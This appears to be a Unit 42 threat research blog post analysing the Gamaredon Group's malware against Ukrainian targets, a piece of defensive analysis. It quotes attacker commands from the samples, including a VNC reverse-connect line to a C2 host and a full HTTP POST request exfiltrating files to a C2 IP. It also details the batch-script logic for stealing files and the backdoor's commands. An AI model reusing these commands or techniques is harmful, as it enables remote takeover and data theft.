[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/unit-42-title-gamaredon-group-toolset-evolution/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Actor Groups](https://unit42.paloaltonetworks.com/category/threat-actor-groups/ "Threat Actor Groups")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# The Gamaredon Group Toolset Evolution

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 15 min read

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Anthony Kasza](https://unit42.paloaltonetworks.com/author/anthony-kasza/)
  * [Dominik Reichel](https://unit42.paloaltonetworks.com/author/dominik-reichel/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:February 27, 2017

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Actor Groups](https://unit42.paloaltonetworks.com/category/threat-actor-groups/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Gamaredon](https://unit42.paloaltonetworks.com/tag/gamaredon/)
  * [Threat research](https://unit42.paloaltonetworks.com/tag/threat-research/)
  * [Toolset](https://unit42.paloaltonetworks.com/tag/toolset/)
  * [Trident Ursa](https://unit42.paloaltonetworks.com/tag/trident-ursa/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/?pdf=download&lg=en&_wpnonce=279fa6c5e6 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/?pdf=print&lg=en&_wpnonce=279fa6c5e6 "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=The%20Gamaredon%20Group%20Toolset%20Evolution&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F&title=The%20Gamaredon%20Group%20Toolset%20Evolution "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F&text=The%20Gamaredon%20Group%20Toolset%20Evolution "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=The%20Gamaredon%20Group%20Toolset%20Evolution%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-title-gamaredon-group-toolset-evolution%2F "Share in Mastodon")
  Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013.

In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities:

* A mechanism for downloading and executing additional payloads of their choice
* The ability to scan system drives for specific file types
* The ability to capture screenshots
* The ability to remotely execute commands on the system in the user's security context

The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian hosting providers to distribute their custom-built malware.

Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware's heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.

Previously, [LookingGlass reported](https://www.lookingglasscyber.com/operation-armageddon-registration/) on a campaign they named "Operation Armageddon," targeting individuals involved in the Ukrainian military and national security establishment. Because we believe this group is behind that campaign, we've named them the Gamaredon Group, an anagram of "Armageddon". At this time, it is unknown if the new payloads this group is distributing is a continuation of Operation Armageddon or a new campaign.

### Gamaredon: Historical Tool Analysis

The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by [Symantec](https://www.symantec.com/security_response/writeup.jsp?docid=2015-042917-4812-99&tabid=2) and [Trend Micro](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_gamaredon.a). Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of later payload variants also have been given the generic and brittle names of [TROJ\_RESETTER.BB](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_resetter.bb) and [TROJ\_FRAUDROP.EX](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fraudrop.ex).

Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch script to disk and installed a legitimate remote administration tool called tool [Remote Manipulator System](https://rmansys.ru/remote-access/) (Figure 1) which they would abuse for malicious purposes.

[![gamaredon\_1](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_1.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_1.png)

*Figure 1 Remote Manipulator System Interface*

One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014. The password (reused by many of the password protected SFX payloads) it used to extract itself is "1234567890\_\_". The files included in this SFX file we observed include a batch file named "123.cmd" and another SFX named "setting.exe". This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.

Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.

Three examples of this type of payload include:

* a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
* b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
* 3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b

We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects. The text of one such decoy document is pictured below.

[![gamaredon\_2](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_2.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_2.png)

*Figure 2 Ukrainian Decoy Document used by Gamaredon Group*

Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC exectuables would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to download and install at hxxp://prestigeclub.frantov.com\[.\]ua/press-center/press/chrome-xvnc-v5517.exe.

The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.

One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015. The batch script utilized in this sample ensures a VNC connection is available:  
start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500

|---|-----------------------------------------------------------------------|
| 1 | start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500 |

The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is "Y:\\ПРОБА\\Создание троянов\\создание RMS\\vnc". This isn't the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as "Главное меню\\Программы\\Автозагрузка". Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, "Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?" (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).

Some of the SFX files also include another legitimate application called [ChkFlsh.exe](https://mikelab.kiev.ua/index.php?page=PROGRAMS/chkflsh) (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This application was written by a Ukrainian programmer and is used to check performance of USB flash drives. Its value to the attackers to the attackers isn't clear but one possibility is that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX files that didn't have VNC programs included.

### Custom Implants

While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom developed remote access implant.

In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name "LocalSMS.dll". This downloader makes requests to adobe.update-service\[.\]net (hardcoded in the sample) and is further discussed in Appendix A.

In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file (3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan (598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as "Pteranodon." Pteranodon is a custom backdoor which is capable of the following tasks:

* Capturing screenshots at a configurable interval and uploading them to the attacker
* Downloading and executing additional files
* Executing arbitrary commands on the system

The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to "msrestore\[.\]ru/post.php" using a static multipart boundary:

\------------870978B0uNd4Ry\_$

Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using the [Pteranodon](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Pteranodon) tag. The most recent variant of Pteranodon is analyzed in Appendix A.

We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in December of 2016 downloads a resource from http://samotsvety.com\[.\]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file (b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.

A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The original name of the file is "AdapterTroubleshooter.exe" and the file uses icons which resemble those used by OpenVPN, as seen below.

[![gamaredon\_3](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_3.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_3.png)

Upon examining the sample's file activity within AutoFocus it is clear the sample is a self-extracting executable.

[![gamaredon\_4](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_4.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_4.png)

*Figure 3 Self Extracting executable behavior shown in AutoFocus*

Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile timestamps and the pdb paths of the contents of the SFX file.

|------------------------------------------------------------------|-------------------------|--------------------------|--------------------------------------------------------------------------------------------------|
| **SHA256**                                                       | **Filename**            | **Compile Time**         | **PDB Path**                                                                                     |
| 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501 | LocalSMS.dll            | Wed Apr 29 08:10:30 2015 | c:\\users\\viber\\documents\\visual studio 2013\\projects\\contextmenu\\release\\contextmenu.pdb |
| d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726 | MpClients.dll           | Thu Sep 08 05:01:00 2016 | c:\\users\\user\\documents\\visual studio 2015\\projects\\updaterv1\\release\\updaterv1.pdb      |
| f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126 | OfficeUpdate.dll        | Wed Dec 07 09:25:57 2016 | -                                                                                                |
| 2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20 | SmartArtGraphicsLog.lnk | -                        | -                                                                                                |
| 46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d | UsrClass.lnk            | -                        | -                                                                                                |
| a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b | condirs.cmd             | -                        | -                                                                                                |
| 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac | winrestore.dll          | Mon Jan 09 03:12:39 2017 | c:\\develop\\ready\\winrestore - proxy\\release\\winrestore.pdb                                  |
| 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd | wmphost.exe             | Thu Dec 01 08:23:32 2016 | c:\\develop\\ready\\mouse-move\\mouse-move\\release\\mouse-move.pdb                              |

The bootstrapping logic for the sample relies on the contents of "condirs.cmd". Briefly, the logic within "condirs.cmd" follows:

1. Ensure "%LOCALAPPDATA%\\Microsoft\\Windows\\" exists
2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing
3. Copy "winrestore.dll" to "%LOCALAPPDATA%\\Microsoft\\Windows\\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll"
4. Copy "OfficeUpdate.dll" to "%LOCALAPPDATA%\\Microsoft\\Windows\\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll"
5. Determine if the operating system is Windows XP or Windows 7
6. If the system is running Windows XP

a. Set the directory to copy files into as "%WINDIR%\\Setup\\State\\Office"  
b. Copy "UsrClass.lnk" to "%USERPROFILE%\\Главное меню\\Программы\\Автозагрузка\\"  
c. Copy "SmartArtGraphicsLog.lnk" to "%USERPROFILE%\\Главное меню\\Программы\\Автозагрузка\\"

7. If the system is running Windows 7

a. Set the directory to copy files into as "%APPDATA%\\Microsoft\\Office"  
b. Copy "UsrClass.lnk" to "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"  
c. Copy "SmartArtGraphicsLog.lnk" to "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"

[![gamaredon\_6](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_6.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_6.png)

*Figure 4 Windows XP and Windows 7 logic within "condirs.cmd"*

8. Copy "winrestore.dll" to the directory set in step 6 or 7a with the filename "MSO1234.win"

9. copy "LocalSMS.dll" to the directory set in step 6 or 7a with the filename "MSO1567.dls"

10. copy "OfficeUpdate.dll" to the directory set in step 6 or 7a with the filename "MSO5678.usb"

11. copy "MpClients.dll" to the directory set in step 6 or 7a with the filename "MSO8734.obn"

12. Execute the exported function "updater" within "MSO1234.win" using rundll32.exe

13. Execute the exported function "EntryPoint" within "MSO1567.dls" using rundll32.exe

It should be noted that "UsrClass.lnk" links to "%WINDIR%\\system32\\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater" and "SmartArtGraphicsLog.lnk" links to "C:\\WINDOWS\\system32\\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup". These are the locations "winrestore.dll" and "OfficeUpdate.dll" were copied to in steps 3 and 4, respectively.

The "condirs.cmd" script then continues to:

1. Schedule the following tasks:

a. Task name "UpdatesWinRes", invoke "MSO1234.win,updater"  
b. Task name "UpdatesWinDLL", invoke "MSO1567.dls,EntryPoint"  
c. Task name "UpdatesWinUSBOOK", invoke "MSO5678.usb,StartBackup"  
d. Task name "UpdatesWinOBN", invoke "MSO8734.obn,bitDefender"

2. Ensure the directory "%Temp%\\reports\\ProfileSkype\\" exists

3. Kill processes named "skype.exe"

4. Copy the contents of "%AppData%\\Skype" to "%Temp%\\reports\\ProfileSkype\\"

5. Create subdirectories under "%Temp%\\reports\\%COMPUTERNAME\\" with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.

6. Copy all files from all above drive letters with extensions "doc", "docx", "xls", "xlsx", "rtf" "odt" and "txt" into "%TEMP%\\reports\\%COMPUTERNAME%\\%%d\\" where %%d is the drive letter

7. Copy all files with the above extensions from all users' "Desktop", "Documents", and "Downloads" folders to "%TEMP%\\reports\\%COMPUTERNAME%\\Desktop\\", "%TEMP%\\reports\\%COMPUTERNAME%\\Documents\\" and "%TEMP%\\reports\\%COMPUTERNAME%\\Downloads\\" respectively

[![gamaredon\_7](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_7.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_7.png)

*Figure 5 The document stealing logic inside "condirs.cmd"*

8. Execute the exported function "StartBackup" within "MSO5678.usb" using rundll32.exe

9. Execute the exported function "bitDefender" within "MSO8734.obn" using rundll32.exe

10. Clean up temporary files, sleep, and delete itself

When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system. These individual implants are analyzed in detail in Appendix A.

### Trends Across Implants

While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples include:

* Many of the batch scripts include misspellings of common English words. One such example is the filename "cmd". While another example, "domen", is used as a variable name in a batch script which is likely meant to be "domain"
* Almost all batch scripts in all samples ping localhost as a means of sleeping
* Many of the batch scripts are named "cmd" and some include the string "Trons\_ups" and "Treams"
* Many of the batch scripts use the same commands for determining operating system version.
* Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest sample
* Samples employing VNC used the same configuration and passwords

Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also, many of the custom developed tools use hardcoded network locations.

Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX implants within AutoFocus additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below.

[![gamaredon\_8](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_8.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_8.png)

Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent.

[![gamaredon\_9](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_9.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_9.png)

*Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group*

### Final Word

The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed.

Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples' artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns.

This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag [GamaredonGroup](https://autofocus.paloaltonetworks.com/#/tag/Unit42.GamaredonGroup).

Palo Alto Networks customers are protected from this threat in the following ways:

* WildFire identifies the malware described in this report as malicious.
* Traps prevents execution of the malware described in this report.
* The C2 domains used by this group are blocked through Threat Prevention.

Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.

### Appendix A: Custom Implant Analyses

#### USBStealer: MSO5678.usb / OfficeUpdate.dll

This file is a USB file stealer which can be also guessed by its internal name "USBgrabber.dll". However, the implementation is sloppy which makes it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM\_COMMAND and WM\_DEVICECHANGE, but not verifying if a USB drive was connected.

The malware creates two mutexes "**Wsnusb73**" and "**Wsnusbtt73**". Then, it creates the following folder in the temp path of the local user:

"C:\\Users\\\<Username\>\\AppData\\Local\\Temp\\reports"

This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server "195.62.52.93" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive:  
POST /post.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache ------qwerty Content-Disposition: form-data; name="filename" \\\\\<filename\> ------qwerty Content-Disposition: form-data; name="filedate" \<month\>/\<day\>/\<year\> \<hour\>:\<seconds\> ------qwerty Content-Disposition: form-data; name="compname" \<ComputerName\>||\<Username\>||\<UserHWGUID\>||\<C\_VolumeSerialNumber\> ------qwerty Content-Disposition: form-data; name="serial" \<SerialNumberOfDriveToStealFrom\> ------qwerty Content-Disposition: form-data; name="w" "?" ------qwerty Content-Disposition: form-data; name="filesize" \<FileSize\> ------qwerty Content-Disposition: form-data; name="file"; filename="\<AbsoluteFilePathInTemporaryLocation\>" Content-Type: application/octet-stream Content-Transfer-Encoding: binary ...File data... ------qwerty--

|----------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | POST /post.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----qwerty Host: 195.62.52.93 Content-Length: ... Cache-Control: no-cache ------qwerty Content-Disposition: form-data; name="filename" \\\\\<filename\> ------qwerty Content-Disposition: form-data; name="filedate" \<month\>/\<day\>/\<year\> \<hour\>:\<seconds\> ------qwerty Content-Disposition: form-data; name="compname" \<ComputerName\>||\<Username\>||\<UserHWGUID\>||\<C\_VolumeSerialNumber\> ------qwerty Content-Disposition: form-data; name="serial" \<SerialNumberOfDriveToStealFrom\> ------qwerty Content-Disposition: form-data; name="w" "?" ------qwerty Content-Disposition: form-data; name="filesize" \<FileSize\> ------qwerty Content-Disposition: form-data; name="file"; filename="\<AbsoluteFilePathInTemporaryLocation\>" Content-Type: application/octet-stream Content-Transfer-Encoding: binary ...File data... ------qwerty-- |

The malware also creates a SQLite database named "asha.dat" in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database.

[![gamaredon\_10](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_10.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_10.png)

*Figure 7 Structure of the database created by the malware*

It should be noted, that only hashes of files are added to the database that don't have the following extensions:

* DLL
* BIN
* CAB
* EXE
* ISO

### Downloader: MSO1567.dls / LocalSMS.dll

This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in C++ and contains all of the functionality is in an export function named "EntryPoint". The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string.

At first, the malware retrieves the temp path of the local user ("C:\\Users\\\<Username\>\\AppData\\Local\\Temp\\"), the computer name (e.g. "WIN-MLABCSUOVJB"), the hardware profile GUID (e.g. "{826ee360-7139-11de-8d20-808e6f6e6263}") and the volume serial number of C:\\ drive (e.g. "1956047236"). Next, it takes the following hardcoded string:

http://adobe.update-service\[.\]net/index.php?comp=

To create a URL string with the victims information for contacting the C2 server:

* http://adobe.update-service\[.\]net/index.php?comp=WIN-MLABCSUOVJB\&id=WIN-MLABCSUOVJB\_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236

To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string always ends up being the same, namely "frAQBc8Wsa". This string gets concatenated with the retrieved local users temp path to the following file path:

* C:\\Users\\\<Username\>\\AppData\\Local\\Temp\\frAQBc8Wsa

Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits.

### Downloader: MSO8734.obn / MpClients.dll

This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named "bitDefender".

It creates a socket, requests the address of the hardcoded C2 server "win-restore.ru" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call:

"GET /css.php?id=WIN-MLABCSUOVJB\_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1  
Host: win-restore.ru  
Connection: close"

The response will be stored into a memory buffer via recv() and scanned for the string "urltoload={". As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it:  
"C:\\Users\\\<Username\>\\AppData\\Local\\Temp\\frAQBc8Wsa"

### Pteranodon: MSO1234.win / winrestore.dll

Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named "updater".

At first, it retrieves the %APPDATA% folder of the local user to build the following file path:

"C:\\Users\\\<Username\>\\AppData\\Roaming\\Microsoft\\desktop.ini"

Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected the malware runs in an infinite loop checking for mouse movement.

If the file "desktop.ini" does not exist, the malware creates it and writes the following information into it:

" interval={60} msfolder={10} status={0}"

This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available:

**exec=**{

This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload.

**interval={**

This command is used to define the interval in seconds between the creation of two or more screenshots.

**msfolder={**

This command defines the number of screenshots to create.

**command={ / command\_c={**

This command is used to execute a file present as a string between the curly brackets. The variant with the "c" uses the Windows tool cmd.exe with help of ShellExecute().

**status={**

This command contains the flag which defines if screenshots should be made ("1") or not ("0").

Next, it checks for a mutex named "asassin1dj" to verify if the system is already infected and creates it if this isn't the case:

[![gamaredon\_11](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_11.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/02/Gamaredon_11.png)

*Figure 8 Mutex check and creation routine*

Next, it creates the following folder, if not already present:

"C:\\Users\\\<Username\>\\AppData\\Roaming\\Microsoft\\store"

Next, according to the configuration data in "desktop.ini" it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used:

\<year\>\<month\>\<day\>\_\<hour\>\<minute\>\<seconds\>

